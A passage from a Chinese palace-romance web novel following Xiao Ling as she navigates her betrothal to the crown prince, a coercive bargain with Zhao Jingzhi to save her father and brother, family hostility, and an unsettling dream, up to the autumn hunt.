萧苓由宫人引着走在东宫的青石小径上,她故意跟在后面,目光不经意探寻着。
但无论是草丛,或者是树后,都找不到那枚玉佩的影子。
她此刻心急如焚。
若是被宫里的人捡到,容钦南就知道她那夜来过东宫,届时她又该如何答复?
思绪落定,她借口丢了张帕子要原路找回,让宫人不必再跟着。
宫道很长,萧苓依着那晚的记忆走走停停。
最后脑海中对玉佩所掉落的位置愈来愈明晰。
走过青石小径,她步履加快,未曾想竟迎面撞上赵景之。
萧苓脚步一顿,目光微凝,只瞥了一眼就匆匆移开目光。
他换了身暗绿圆领袍,站在长廊下。
此时正凝着目光盯着她。
“萧姑娘,这些天过的可好?”
此处僻静,二人的身影被影影绰绰的树影挡住,只能听见微风拂过树叶的沙沙声。
萧苓听到他冷淡的语气,心中思绪纷乱。
她理不清与赵景之到底是什么关系,即使二人做过最亲密的事情,可那只是出于一桩交易。
父兄暂时无性命之忧,是得到了赵景之的庇佑。
而他对她如此这般,是为了折辱她。
但此时见到他,萧苓下意识竟然是想逃离。
“多谢世子照拂。”
此处不宜久留,若是被人看到她与赵景之在一起,后果不堪设想。
她脚步微抬,想要离开。
耳边却传来依旧不咸不淡的声音。
“萧姑娘是不是在找什么东西?”
他看着眼前身形明显一僵的少女,目光却落在她那刚结痂的唇角处,目光愈发幽深。
她似乎很紧张。
“世子是不是捡到……”
她刚要脱口而出“玉佩”二字,但又咽了下去。
他未必会帮她。
又何必再多一个人知道。
赵景之往前迈了一步,拉进了二人的距离。
在她身上映出一大片阴影。
“是那块玉么?”
他的声音极低,越靠越近,几乎是擦着她的耳畔说的。
萧苓猛然抬头,脸色隐隐发白,与他视线交错,竟一时忘记移开。
赵景之神色淡漠,眼底却噙着笑意,他注视着她唇角的痂,竟伸出手指轻轻抚了上去。
她惊恐的看着他,一时怔在了原地。
他轻轻摩挲着,继而收回手,只见指尖一片嫣红。
——她为了掩饰被他咬破的痕迹,煞费苦心多上了些唇脂。
“既然被世子寻到,能否归还给我?”
萧苓稳住心神,可微颤的睫毛还是显示了她的慌乱。
“这是自然。”
悬着的心终于落地,她看着赵景之手心处银光闪烁,她只当是那玉佩,便轻轻接过。
不料,她低头看向手心,赫然是把钥匙。
“今夜巳时,来海棠巷,本世子自会归还。”
5. 心软
她的脸色登时变得惨白。
脚踉跄着往后退了两步。
手中钥匙的冰凉顿时刺痛了她。
萧苓不知赵景之到底是何用意,微抬眼皮,只见他面上疏离,目光沉沉,映上去的却是自己煞白的脸。
她咬着唇,只要父兄一日未从诏狱出来,她就不能迟疑。
况且,那枚玉佩还在他的手中。
萧苓顿了顿,终究是将钥匙握在了手里。
硌的她生疼。
好在紧张氛围未持续多久,就听到宫人匆匆脚步传来。
“萧姑娘,可要奴婢帮忙寻找?”
萧苓闻声回头,看不见那侍女的身影,只能看到曲折小径旁种的一排翠竹。
此时正随风而动,在地上投下一片暗影。
“不必,已经寻到了。”
她如蒙大赦,生怕自己的声音发颤被人听出端倪。
也未抬头看赵景之,便提裙沿着路返回。
-
在看到西苑半敞的殿门时,萧苓悄悄深吸一口气,跟在引路侍女的身后,终究还是踏过了那道门槛。
博山炉里燃着香,似乎还夹带着提神的薄荷味,沁人心脾。
容钦南白衣蓝袖,正坐于长案前倒着茶,盏内氤氲而起的茶雾半遮了他的清俊容貌,见到来人立即抬头看去。
只见萧苓恭谨垂首,发间一支白玉簪子莹润透亮,正是去年春日他赠的那支。
他默不作声饮了口茶。
“臣女请殿下安。”
“不必多礼。”
他邀人落座,语气温柔。
萧苓紧紧攥住了手中的帕子。
她本以为再见到容钦南,会忍不住质问他为何要瞒着她,会忍不住心痛流眼泪。
但是她通通没有。
他依旧举止温文,甚至云淡风轻拈了一块芙蓉糕放在她面前的碟子里。
“这是你素日爱吃的,才吩咐鼎香楼送过来。”
若是不曾被她撞见他与萧柔在一起,萧苓或许会如往日般感动,但此时她不得不多了两分迟疑。
“臣女谢过殿下。”
怕容钦南看出端倪,她用银箸夹了了一点轻轻送入口中。
鼎香楼最有名的便是芙蓉糕,香甜馥郁。
她原先不过随口一说,没想到容钦南每次见她都会备上一份。
只是再好的滋味,萧苓如今也是味同嚼蜡。
不知容钦南此次邀她,是不是为了侯府的事情。
她放下银箸,刚要试探问一句,只听容钦南启唇道:
“侯府一事,孤本来是要启奏陛下彻查,只是陛下龙体抱恙,孤只好搁置下来。宁宁,你不会怪孤罢?”
宁宁是她的小字,除了兄长,甚少有人这么叫过她。
他的语气温柔缱绻,看向她的目光又是那么珍重。
看来容钦南是知道她那夜来过东宫了,这是试探,也是在给台阶下。
萧苓缓缓垂下眼睫,避开了他的目光。
刚刚吞咽下去的那口甜,化成了黏在喉咙里的苦涩。
她嘴里发干,放缓了语速。
“臣女知道殿下为难,但幸得殿下从中转圜,臣女父兄并未受多少苦头。”
她的声音一如既往的平静。
但细听去,仿佛在压抑着什么。
容钦南听她如此温顺,心里反而起了不易察觉的愧疚。
他不动声色瞥了萧苓一眼。
面前的姑娘垂面低眉,即使不施粉黛也是肤白唇红,双颊泛起娇嫩的粉色,眉目间氤氲着淡淡水雾。
即使没有这等家世,凭这样貌在整个京城也是一等一出挑。
容钦南依稀记得那年银月皎皎,父皇与镇国侯萧净相谈甚欢,不经意间问起家中姑娘可有婚配。
彼时他坐在筵席的上首,听出父皇有意要拉拢萧家,便往萧家女眷方向瞥去,夜色融融,只能看到被人簇拥着的身穿月色长裙的姑娘。
容颜姣好,身段窈窕有致。
似乎是感受到他的目光,那姑娘如画的眉目间又添了些妩媚。
他以为那便是萧家的嫡女萧苓。
抬手将杯中酒一饮而尽。
直到后来被父皇点名,有人从不起眼的角落中站起,盛颜仙姿,被月色衬得清丽出尘。
这才是真正的萧苓。
此时耳边传来父皇为二人赐婚的口谕。
未拿稳的酒樽应声倒地。
尽管父皇曾在醉酒后告知,当时除了是想拉拢萧家外,还有一个隐秘的心思。
原是父皇做了场梦,萧苓是天生的凤命。
只要她嫁谁,谁便是皇帝。
容钦南哑然失笑,不禁觉得荒谬。
但天子命不可违,何况萧苓貌美,家世如此显赫,就算是娶了她也算不得委屈。
只是与萧柔的娇矜任性不同,萧苓太过于和婉,也更加古板。
她是他未来的妻,对他却如此客气。
无论是二人的邀约,抑或是私底下相处,她与寻常贵女不同,永远都是安分的。
这让他的心里泛起了涟漪。
如此想来,容钦南看向萧苓的目光愈发深沉,莫名的烦躁让他神使鬼差伸出手,就在指尖快要落在她脸颊的那一刻,殿外传来侍卫的通禀
——
“殿下,世子爷到了。”
容钦南的手明显一僵,很快便收了回去。
萧苓思绪纷乱,并未察觉到容钦南的异样,闻声又下意识往外看去,来人正是赵景之。
她掐了掐手心,极力保持着镇定。
他怎么来了?
想到那把被塞在袖袋中的钥匙,她心跳如鼓。
“臣请殿下安。”
赵景之依旧是大步上前,拱手行礼。
“景之。”
容钦南先是让他免礼,将殿里侍女都屏退,随后便转头看向同样站起身的萧苓道:
“这位便是萧苓,景之曾与萧世子交好,你们之前应该见过罢?”
听容钦南的语气,似乎是与赵景之十分熟稔。
萧苓心下一凛,不仅是听到兄长的名讳,更是听到容钦南有意无意问询赵景之与她的关系。
她依旧垂首,身子僵硬,面色冷白,只听他落下两个字。
“见过。”
听不出情绪。
萧苓头皮发麻,直觉有一道锐利的目光正落在她的身上。
被衣料裹住的肌肤一阵灼热,早晨精心掩饰过的红痕也快要显现,她悄悄攥紧了袖缘。
随后又听他道:“不算熟。”
忐忑的心终于落了下来。
她顿了顿,怕容钦南起疑,朝赵景之微微福下身子。
“赵世子。”
声音隐隐发颤。
赵景之瞥了她一眼,目光与未进殿之前不同,没有那么冰冷。
反而多了些客套。
“萧姑娘。”
容钦南并不知道二人过往,将赵景之请到席上
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,与萧苓相对而坐。
他看着对面垂面不语的少女,又贴心拈了块茶点搁在碟中。
“宁宁既然喜欢,待会让人打包了送到侯府。”
温柔和蔼,却不容许拒绝。
萧苓只好硬着头发道谢,刻意忽略身旁的赵景之,但她仍觉有一道视线依旧注视着自己。
不知道是不是她太紧张,心生错觉。
这道目光太过冰冷锐利,似乎要把她看穿。
尽管未曾抬头,但萧苓仍觉慌乱。
她从未想过会和赵景之坐在同一张案几前。
脑子正胡思乱想间,又听容钦南自顾自说道:
“孤相信,景之可以还侯府一个清白,是么?”
他说这话时,面上淡然轻松,但眉目间似蕴了层薄冰。
赵景之敛袖斟了杯茶,手指冷白修长,淡香瞬间弥漫,茶叶浮在表面,似乎是太烫,他并不急着去用。
萧苓适时抬起头,正好与他四目相撞。
对面的男人身姿挺拔,有风拂过他的衣袍,将其吹的飘扬。
她立即错开视线,看向碟中的糕点。
“回殿下,臣去诏狱查探过,确是有隐情,卷宗已经誊好,明日上朝即可呈给陛下过目。”
明日?
父兄岂不是明日就没事了?
萧苓心头一动,但很快忍耐住雀跃,默默听着二人对话。
“既然如此,等事情水落石出后,孤便请旨向侯府下聘。”
容钦南忽然转过头,轻轻牵住了她的腕骨。
手上的凉意让她猛然一颤,下意识便要挣脱,一抬眼便撞进对方温柔缱绻的眸子里,她倏忽便怔住了。
突如其来的变故让萧苓猝不及防,她大脑空白,但还是极快捕捉到他话里的意思。
容钦南要请旨娶她?
一时间说不上是欣喜,或者是其它,只觉得太突然。
他不是和萧柔在一起么?
但容钦南不曾明说,她就不能将这层窗户纸戳破,如今救侯府要紧。
正当她愣神之际,赵景之薄唇微抿,以他的视角看案几下的情形一览无余,少女被人握住腕骨,手攥成拳透着淡淡青白色,而她带着水雾的明眸正盯着眼前的容钦南,笑影绰绰。
一个温润,一个温婉,像极了天作之合。
他薄唇微抿,垂下睫毛,正好遮住辨不清情绪的目光,将放凉的茶水一饮而尽。
手背的青筋正隐隐暴起。
萧苓听到动静,心跳仿佛漏了一拍。
她似觉不妥,慌忙错开目光,将手挣脱了回去。
手腕被攥的有些紧,此时已经出现红痕,她悄悄拿帕子遮了。
被人注视如此情景,她似乎感到羞耻。
这厢容钦南回过神,不自觉轻咳一声,自顾自饮茶去了。
气氛一时静默,萧苓听着殿中更漏声,心知二人要商议之事涉及朝堂,她不宜久待。
便拢裙起身,向容钦南告辞。
而他也并未挽留,温声细语嘱咐两句,便放人离开了。
只是就在萧苓被侍女护送着离开后,一声突兀的脆响砸在门槛处,登时令人心惊。
赵景之波澜不惊抬眸,只见容钦南面色晦暗,原本搁在手心处的茶盏已经四分五裂,滚烫的茶水浸湿柔软的地毯,正袅袅升着雾气。
将他那眉眼衬得愈发浅淡。
语气与方才截然不同,质问道:
“景之,你不会真的心软了罢?”
6. 脖颈(修)
心软?
这是容钦南第二次说他心软。
赵景之咂摸这两个字,眸色愈深,捏着杯盏的力道更重了几分。
他不动声色换了个话题:
“殿下,眼下我们没有确凿证据将通敌罪名安在萧净头上,外头已经有了风声,还得从长计议。”
赵景之说的不错,萧家根基深厚,不是一朝一夕能击垮的。
但容钦南还是觉得如此收手未免可惜,心里憋着一口气。
“难不成就这么算了?”
赵景之抬眼,语气夹杂着不易察觉的冷意。
“殿下无须担心,此事臣会办妥。”
容钦南闻言不由得对他多看了一眼,他虽然还是一副气定神闲的神情,但从那语气里却听出了肃杀萧瑟。
也难怪,当年的事情闹的那样难看,定国公夫人的死成了引火索,萧家和赵家断交,这是朝堂之上人尽皆知的事情。
思及此,他的气也消了三分,但仍觉得可惜。
“孤记得当时弹劾信是买通了太监递给陛下的,只可惜那个太监当天夜里暴毙,竟然找不到是谁,不然孤也不会如此被动,找不到证据。”
若是能找到那个弹劾的人,说不定还有转机。
赵景之将目光看向殿外,浮尘泛着光,将他映在宫砖的倒影拉的修长。
“过两日便是秋狝,殿下可见机行事。”
皇帝每年寿辰都是由礼部照例筹备秋狝,各家子弟围猎庆贺,萧家更不必说定会出席。
而如今已是秋日,离秋狝差不了几天。
容钦南浓眉一蹙,若有所思的看着那盘未用完的糕点。
——
傍晚夕阳如撒碎金,一路蜿蜒到院角。
赵景之雷厉风行,萧苓刚回府就听到镇国侯与世子归来的消息。
“谢天谢地,还好太子殿下言而有信,侯爷和世子终于回来了。”
流云满脸喜色,转脸看向还在抄写佛经的萧苓。
萧苓闻言,原本还扬起的唇角瞬间僵住,脑海中忽然闪过那道冷冰又带着侵略的目光,一下子冲淡了父兄平安归来的喜悦。
她眸光微颤,面对流云希冀的目光,竟然无法向流云开口解释。
只是下意识觉得此事越少人知晓越好。
不等她多想,此时府中一阵喧腾,众人得了老夫人的命令都要在门外迎接。
萧苓自然不能缺席。
等她到时,老夫人崔氏连同儿媳陈氏已经站在一行人前头,而陈氏见状,又拉着萧柔站在了身旁。
她置若罔闻,如往日般站在了后面。
时辰掐的很准,一辆马车很快便停在石狮子前。
萧净刚进门便对着崔氏跪下请罪。
而萧负雪是被人搀下来的,受了刑身子站不住,但仍强撑着要给长辈行礼,崔氏心疼,将两人扶起。
又对陈氏使个眼色,让她过来搀着萧净。
只是萧净侧身搭过小厮的手,瞧也不瞧她,径直与她擦肩而过。
陈氏捏着帕子,一时尴尬,但还是碎步跟了上去。
人群渐动,都跟着往里进。萧苓翘首以盼,悄悄松口气,父亲和兄长能平安归来,心中的石头总算落了地。
只是内心一阵怅惘,若萧家没有出事,此时父亲与兄长铠甲峥嵘,应受全城百姓迎接才是,而不是这般……落寞。
“大姑娘,侯爷请您现在去主院。”
小厮从前头跑过来传话,随后想了想又加一句:“只请了姑娘一人。”
萧苓抬眼,拢回思绪。
说话声音不大,却足以让周遭仆妇与丫鬟目光都聚焦在萧苓身上。有不解、诧异,但更多的还是幸灾乐祸。
包括萧柔。
她的眼底划过稍纵即逝的不平,似乎又夹杂着挑衅。
只是掩饰的好,很快便移过目光。
萧苓罔顾那些刺目的眼神,只对着小厮道:“我稍后就来。”
虽然不知萧净此时寻她何事,但能让父亲顾不得养伤也要匆忙找她的事,想来并不简单。
——
萧净近年来带兵打仗,身上落下不少病,虽然说没被定罪,但那些刑罚也不是吃素的,要不是习武身子硬朗,现在早就倒下了。
但他此时依旧强撑着,面色凝重,沉沉目光盯着看刚进屋的萧苓。
对于这个与亡妻眉眼有几分相似的女儿,他一直不知该如何对待是好,只能压低声音道:
“我叫你来,你应该知晓是何事罢?”
声音威严,极有压迫性。
萧苓很少有和萧净单独说话的机会,掐不准他的心思,只能轻声道:“女儿不知。”
话音刚落,耳边随即传来呼啸之声,一个坚硬冰冷的茶碗堪堪擦着她的发丝而过,茶水四溅,碎瓷粉身,最后砸在了她的脚边。
这是萧净要发火的架势。
如此声响,将她全身震的发麻,来不及反应就跪在了屋中央。
“还请父亲明示。”
萧苓眼皮跳了跳,不知父亲何出此言。
“我且问你,太子殿下为何无故要帮萧家澄清罪名?”
他在诏狱又不是不知萧家遭难无一人肯帮衬,唯恐避之不及,就连太子一开始也是避嫌的态度。
但偏偏萧家此番全身而退,定是有人从中斡旋。
能让圣上回心转意,想来只有太子能办到。
但他又为何转变态度……
萧苓听出了言外之意,父亲这是以为她与太子私相授受?
她的嘴张了张,一时不知做何答复。
若是说没有,父亲会不会信呢?
以她对父亲的了解,只怕是不信。
毕竟每次与萧柔起争执,向来都是以她被斥责结尾的。
小时候她并不懂为何侯府里所有人都不喜欢自己,也不懂为何所有人都偏袒萧柔。
难道就因为她没有母亲么?
萧净见她不说话,以为是默认,一股子怒气在胸口处横冲直撞,言辞间也愈加不顾忌。
“我本以为将你养在陈氏膝下能收敛性子,谁知竟做出如此不耻之事,若无好处,太子殿下又怎会帮咱们?”
父亲的话如此直白,也如此让人……难堪。
萧苓只觉呼吸都是难受的。
心里忽然生出了绵密的刺,扎的她五脏六腑都是疼的。
“你实在无半点你生母的样子!”
萧净气头上拿起沙场杀敌的做派,什么难听说什么。
话音未落,只听一道温润男声急促传来。
“父亲!”
随着竹帘晃荡几下,门外站着的正是理应养伤的萧负雪。
兄长二字在心口
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处打转。
逆着光,萧苓看不清他的表情,只能看见他苍白清俊的轮廓。
“你不好好养伤,到这里来做什么?”
对于长子的无礼,萧净拧起浓眉,语气满是不悦。
萧负雪绕过萧苓,径直跪下请罪,她这才用余光注意到他此次来的匆忙,依旧是那身血迹斑斑的白衫。
而挺直的脊背受了伤,此时正微微颤抖着。
自上次一别,他又清瘦不少。
“还请父亲明察,您属实是冤枉了妹妹,在诏狱为侯府查明真相的不是太子殿下,而是定国公世子赵景之。”
萧负雪语气恭谨,似乎在陈述事实,在说到曾经挚友名讳时,也是面不改色。
萧净面色微白,随即叹息一声,“是他?”
“是,赵景之已经回京,圣上很是器重。”
他见父亲神色松动,便回头望了眼身侧跪着的少女。
她依旧垂首低眉,似乎是被吓着了,几缕鬓发被冷汗沾湿粘在被衣领包裹住的脖颈处,更显纤细白皙。
萧负雪刚要瞥开目光,少女脖颈处靠近领口显露出的一抹红煞是惹人注目。
并不明显,却无端让人遐想。
“罢了,我身子不适,你们回去罢。”
萧净摁了摁眉心,不想再管这些事,转身去内堂歇着了。
萧苓站起身,一双膝盖跪久了如灌了铅般沉重,见萧净发话,她加快了步子,一刻不想多捱。
却被阔步走出门外的萧负雪叫住。
有风灌进宽袖里,将他高大的身形衬得愈发文弱。
她回头,隔着两三级台阶望着他。
有什么东西被抛出稳稳落在她怀中。
垂眸一看,是一个白色瓷瓶。
“这是我行军打仗时用的,涂点在膝盖上能缓解疼痛。”
他心细如发,应该是注意到她起身时艰涩的动作。
一种酸涩感从心头涌出,萧苓紧紧握住尚有余温的白瓷瓶,指尖微微发麻,霎时不知该如何张口。
脑海中忽然闪过一些往日片段。
兄长并不是萧家所出,而是父亲麾下副将的遗孤,被抱养过来的。后面跟着父亲上阵杀敌,打了几场胜仗得到圣上赏识,破例封为世子沿袭爵位。
从小到大,只有兄长一直关心着她。
有雾气弥漫至眼眶,她极力忍住,似乎是不想让兄长担心。
“多谢。”
不止是谢他的药,还要谢他过来解围。
若不是他的一番话消了父亲疑虑,父亲肯定要刨根问底弄个明白,说不定还会牵扯到旁人。
“妹妹与我之间还客气什么,父亲说的话不必放在心上,他向来是这种脾气,在军中就连我们也不少受到斥责,回去好好歇息,这段时日妹妹受苦了。”
他的语气轻柔,萧苓听了难免鼻酸,怕时间久了耽搁兄长养伤,她寻了个理由便要回院里。
“也好。”
萧负雪见她转身离去,忽然记起什么,难免皱起眉头,语气也重了些。
“暑热难免会有蚊虫,待会我会派人到妹妹院中送些艾草香包,届时挂在房中各处防止叮咬。”
蚊虫?
她脚步一顿,不知兄长为何会提起此事。
但还是接受了他的好意。
“多谢兄长。”
7. 桎梏
圣上寿辰正值中秋,硕果丰茂,是秋狝围猎普天同庆的好时候。
为了筹备此事,萧家谋反一案也须尽早处置。
随着刑部抽丝剥茧,最后查到萧净麾下副将陆良的身上,原来是他与萧家素有旧怨,因此蓄意构陷,买通御前太监递交弹劾信,想独揽此次胜仗功劳。
可惜的是,陆良在关进诏狱的当夜便畏罪自裁。
点到为止,查到此处便足够了。
自此,震惊朝野的萧氏谋逆一案彻底尘埃落定。
圣上为安抚军心,给镇国侯府不少赏赐,还许萧净养伤不必上朝的特例。
可谓是风光无限。
萧府一时门庭若市,皆是恭贺之人。
只是都被萧净以静养为名都给挡了回去。
期间容钦南也遣人上门拜访过两回,送来不少礼品,都被陈氏搁到库房放着了。
流云看着小厮抬着箱子穿廊过院,心里不禁为萧苓担忧:
“太子殿下送来的东西理应该是姑娘收着的,您连见都没见过一眼,夫人直接放库房里了。”
萧苓闻言朝支摘窗外看了一眼,很快便转过目光。
“她并非我生母,自然处处要为自己女儿打算。”
她眉心忽皱,似是联想到什么。
陈氏一直对她占了嫡女身份颇有微词,在得知她有圣上赐婚后更是想为萧柔寻门好亲事。
既然陈氏能堂而皇之收下容钦南的礼,看来对他与萧柔的事情是知情的。
那夜容钦南如何疼惜萧柔,萧苓都看在眼里。
只要他向圣上开口,萧柔未必不会入住东宫。
届时,她的位置又在哪里?
“姑娘怎么了?现下入了秋风凉,奴婢还是将窗关了罢。”
流云见萧苓神思恍惚,以为是被风吹着了,忙将窗阖上。
萧苓听见轻响回神,却听流云压低声音道:
“奴婢方才听说明日秋狝,殿下要送份大礼给姑娘呢。”
大礼?
萧苓听出她言辞里的惊羡,任由从窗缝散进的风将长睫吹起,在眼底映层淡影。
如果流云知道她现下的处境,就不会这么觉得了。
但她原本平稳的心还是因为流云的话泛起了涟漪。
渐渐变成了不安。
这份不安直到夜半安睡时更甚。
飒飒凉风将阖紧的窗吹开一条缝,将外头泠泠月色一齐带了进来。
正逢更漏声迭起,萧苓辗转反侧,手指无意识抓着被面。脑海中翻滚,意识慢慢混沌起来。
朦胧间,她似乎看到头顶上影影绰绰的红帐,耳边时不时发出灯花燃爆声,入目望去一片喜色。
月光透过窗铺洒一地,落了满层霜。
“宁宁。”
这两个字本该读来温柔缱绻,此时却淬了漫天恨意。
熟悉的声音不知从哪里冒出来,萧苓心弦紧绷,可偌大厢房并无第二人的身影。
“赵……景之?”
萧苓本能团起身,扯动间却听见细微的锁链声,心里顿生不好的预感。她垂眸,缚在手腕与脚腕处的锁链在烛光的映衬下泛着金属色泽,不禁让人遍体生寒。
她挣扎着,绑在床架上的锁链除了发出哗哗声响却是挣脱不得。
本是再正常不过的初秋夜,她却硬生生出了一身冷汗。
“太子妃,你还真是让臣好找啊……”
此次声音压得极低,像是擦着萧苓耳畔说的,她的心不禁跳的极快。
不等她回头,一只骨节分明的手顺着她的后背一路掠至脖颈,最后停留在下颌。温热的呼吸如潮水般喷薄在后颈,让她止不住的战栗。
他的手冰冷刺骨,下颌被钳住,她无法张口说话,如此真实而荒诞的痛意让人分辨不出是梦境还是现实。
耳畔忽然传来温热的刺痛,萧苓本能要躲,可另一只手紧紧箍着她的腰,让人避无可避。
“还是说——你真的要嫁给他?”
嫁给谁?
随着他指尖继续往下滑落,心头无端泛起些痒意,她闭上眼渐渐茫然起来。
这种感觉在她回府的马车上也经历过,颠簸起伏,深深浅浅。
……
可他偏不让她好过,在感受到细微的颤抖后,不动神色停下,让她升上云端又无尽坠落,如疲倦的鸟儿寻不到可栖息的枝头。
“没……没有。”
萧苓最后带了颤音,手指紧紧蜷着,将平整被面攥的尽是褶皱。
“是么?可你分明爱他爱的紧……”
话音刚落,她瞬间从迷蒙中清醒。
烛光下少女泪眼朦胧,衣衫半褪,半散的乌发将洁白莹润的肩头半遮半掩。
一滴泪滑至下颌,顺着他的手滴落在掌心。
他侧躺在她身旁,另一只手加重了力道箍着她的腰。
萧苓喘不过气,眼泪涌出的愈发多。
这个场景既荒诞又真实。
她再也受不住,想启唇求饶。
可下一秒他的手便摁在了那温热柔软的唇上。
微凉,还带着咸涩的味道。
那是她的眼泪。
“嘘——”
手指慢慢移过她的嘴唇,再滑过鼻梁,最后停在眼尾处。
眼泪止不住往外流,被他粗粝指腹全部尽数抹去。
“见到臣很意外?”
萧苓不知,只能摇头,唇齿间溢出两分呜咽。
下一瞬他加了力道将她的脸掰至眼前。
他的脸处在光线不及的阴影里,半明半昧,四目相对间,一股恐惧瞬间包裹了她。
“知道宁宁为什么要受罚么?”
“因为……宁宁不听话。”
脖颈忽然传来尖锐的痛意,萧苓闭眼不敢细想,如果他发狠,下一秒就会被捏碎。
她还是第一次见到如此狠厉的赵景之,她哆哆嗦嗦想求他停下。
但被他桎梏住,她使不上力气,只能从微启的唇齿间溢出细碎的哀求。
“赵……”
他松开手,似乎轻轻笑了一声。
——
不知过了多久,周遭场景如潮水般褪去。
萧苓猛然睁开眼,坐起身艰难喘息着。
窗外月光依旧,照在青砖上如撒一层银辉。
房中还弥漫着兄长赠的艾叶香气。
她收回目光,悄悄掐了把手心。
是疼的。
原来是做梦了……
萧苓心乱如麻,不由得暗叹这梦境如此真实,直到现在脊背依旧发凉。
她与赵景之相识数载,从未见过他如此一面。
抑制不住的疯狂,无法维持的克制。
欲望如洪水决堤般倾泻,几番起起落落,直让人觉得荒唐。
脑海中思绪如潮水般翻涌。
与此同时,有什么东西在枕畔闪过银光,像是一道无形的线牵引着她去寻。
握到手心里是
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冰冷的触感。
正是那把海棠巷的钥匙。
似乎是一个陌生的地方,她并没有什么印象。
何况,距离上次见他,已经过了几日。
不管是她无意或是刻意淡忘,
都已经过了约定的日期。
何况赵景之也没有来找她。
不管在梦中如何被磋磨,终归是梦。
既然父兄平安归来,她与他的交易都已两清。
无论怎样,她和他终归不是一条路的人。
她会嫁与容钦南,成为太子妃。
而他只能是臣下。
至于那块白玉夔龙佩,她再找机会要回来。
——
自圣祖以来,都有中秋围猎习俗。
正逢今上生辰正值中秋,普天同庆,天猎苑早早筹备好等着贵人亲临。
秋高气爽,旌旗猎猎,一个“周”字巍峨嶙峋,尽显天家风范。
文武百官早早便入了席,觥筹交错,席间热闹非凡。
男客女眷分席,来的尽是世家清流,贵女如云。
容钦南登上高台,俯瞰天猎苑全貌。
方才皇后娘娘派人传话过来,宫里有事耽搁,让他先主持着宴会。
林中山涧,美景尽收眼底。
“景之,你我有多久不曾骑猎比试了?”
赵景之离他半步之遥,二人谈话间屏退内侍宫人,言辞也就随意了些。
“殿下大抵是忘了,去岁冬日里,咱们还在南疆猎场比试过一场。”
容钦南侧过头窥他,晨曦微光打在他的侧脸上,只是垂首望着远处青色山峦,仿佛世间万物都入不了他的眼。
“是啊,孤还记得第一次在南疆见你,那时你打头阵同蛮夷人打了一仗,浑身是伤,烧酒烈炭焚腐肉,还好命大活了下来。”
说到此处,他低低叹了一声。
谁曾想,赵景之就这样一路平定南疆大小战乱,将零散小族尽收麾下。
成为朝臣赞不绝口的青年才俊。
“这次秋狩京中贵女如云,景之可有心上人?”
赵景之面容终于有些松动,他低笑道,“殿下是要做媒么?”
容钦南听他如此道,心念一动。
“你当真愿意?”
不等赵景之反应,他继而说下去:“孤的皇妹岑钰早已及笄,依法制合该选驸马定亲。只是她这些年性子古怪,多次忤逆父皇旨意。依孤看,实在是落花有意,可流水无情哪!”
此话不言而喻,是说给赵景之听的。
原本容钦南与他只有筵席上点头之交,不知怎地皇帝将容钦南扔在南疆历练,二人渐渐相识,关系倒也不错。
可这关系若想再进一步,再也没有比能和皇室结亲更好的方式了。
可谓是一步登天。
就看他如何抉择。
赵景之任由他打量,语气平静无波。
“臣配不上岑钰公主。”
容钦南还欲再劝,却被堵的一句话也说不出。
高台有风吹过,将赵景之薄氅吹开,露出内里绯红团花官服,一张脸更是世家子弟中的翘楚。
这样的人,值得与他在同一个阵营。
容钦南知晓姻缘之事强求不来,若是再劝反而惹人厌烦,不如顺其自然。
帝后膝下只有岑钰这么一个公主,金枝玉叶娇养着长大,届时只要皇帝下旨,无论是谁也无法抗旨。
“景之,与孤比试一场!”
8. 手帕
内侍牵来两匹苑内豢养的好马,都是来自边境威风凛凛的战马。
此马性子烈,若无要领,轻易驯服不得。
不过二人面前,自然不在话下。
容钦南解下薄氅扔给身后随侍,只着单薄明黄窄袖长袍,接过玄铁弓箭来,旋即翻身上马,动作一气呵成。
他扬眉,对着赵景之道:
“孤上回赢你是侥幸,这回谁都不许放水,凭真本事获胜!”
锦靴一夹马腹,嘶鸣一声,马蹄飒踏远去。
赵景之紧随其后,眼前林高草茂,他却不急着射箭,静聆呼啸而过的风声。
——
而女眷这边听到动静,虽然嘴里说着风雅事但早就心不在焉。
前些日子前朝震荡,为了萧家的事情,人人自危,谁也不敢出门惹一身腥气。
现在好容易能聚在一起,自然不再压抑天性。
但为着在上首坐着的岑钰公主,说话声还是渐渐小起来。
全京州谁不知岑钰苦恋赵景之,人刚一回京便迫不及待去国公府去寻,只可惜赵景之生性冷淡,谁都不曾放在眼中。
就连千娇百媚的公主也敢视若无睹。
但赵景之再怎么淡漠疏离,却无人敢诟病。
只能在猎场远远望一眼,再细观之,个个脸颊绯红如染胭脂。
萧苓不喜热闹,坐在不起眼的角落。
听着周遭议论,无论如何也无法将她们口中那个寒淡无情的男人与现实中的赵景之联系起来。
可世事偏偏这样巧,越想逃避的越能碰见。
譬如萧柔。
“姐姐怎么坐在这里?”
萧苓抬眸,看着她在自己对面坐了下来。一截绣了桃花枝的云锦窄袖落至眼帘,她不动声色移过目光。
她甚少与这位妹妹说话。
有儿时不愉快的记忆在,她很难做到与萧柔心平气和坐在同一张案几上叙话。
但她此时偏要忍耐。
周遭几道若有似无的目光打量过来,像把刀似的,欲刺破她精心掩饰好的伤口。
“此处清静。”
萧苓没有说谎,她婚约在身于一众女眷中格格不入。
这里较其他地方确实僻静,就算是从席上望过来也不甚注目。
何况,她还要寻机会将玉佩要回来。
“姐姐总是这般淡然。”
萧柔眉眼与她有两三分相似,此时带了两分笑意显得清丽脱俗。
她正自顾自给面前的空杯里倒茶,言罢,便要递与萧苓。
偏不巧,有贵女无意路过,随着一阵惊呼茶水尽数倾落,溅了不少在萧苓手臂上。
还好温度不烫,只是茶渍很是明显。
“姐姐,没事吧?”
萧柔放下茶盏,忙拿出手帕递与萧苓。
意外突至,萧苓接过手帕擦拭,无暇顾及那名贵女的歉意,只是道了句“无事”。
布料柔软,此时起了风,恰有一角被风扬起。
上面赫然绣着小巧精致的“南”字。
——这是容钦南的帕子。
萧苓心底狠狠一抽,思绪似是随着凉风被拉入那个夜晚。
面对一地刺目的血,她像是被定在了原地。
周遭贵客四下逃散,她想离开,耳边却充斥着最恶毒的诅咒,说她是害人的凶手。
怎么也抬不起脚。
容钦南将她揽进怀中,宽阔温厚的胸膛紧紧贴着她冰凉的脊背。
也许从那个时候开始,她开始贪恋那点温暖。
无论是春日的纸鸢,还是冬日的雪球。
他总能变戏法似的讨她欢心。
她其实并不爱吃芙蓉糕,每每吃一块都腻的慌。
她喜欢的不过是他最细微的贴心而已。
她不知晓其他眷侣是如何相处的,原本以为这样便是一生。
现在才知晓,原来一个男人的温暖还可以分给另一个人。
在绝境处施恩。
足以让人肝胆涂地。
鼓乐声渐起,传来肃穆之音。
帝后仪仗将至。
萧苓敛回思绪,面对那道深究的视线回望了过去。
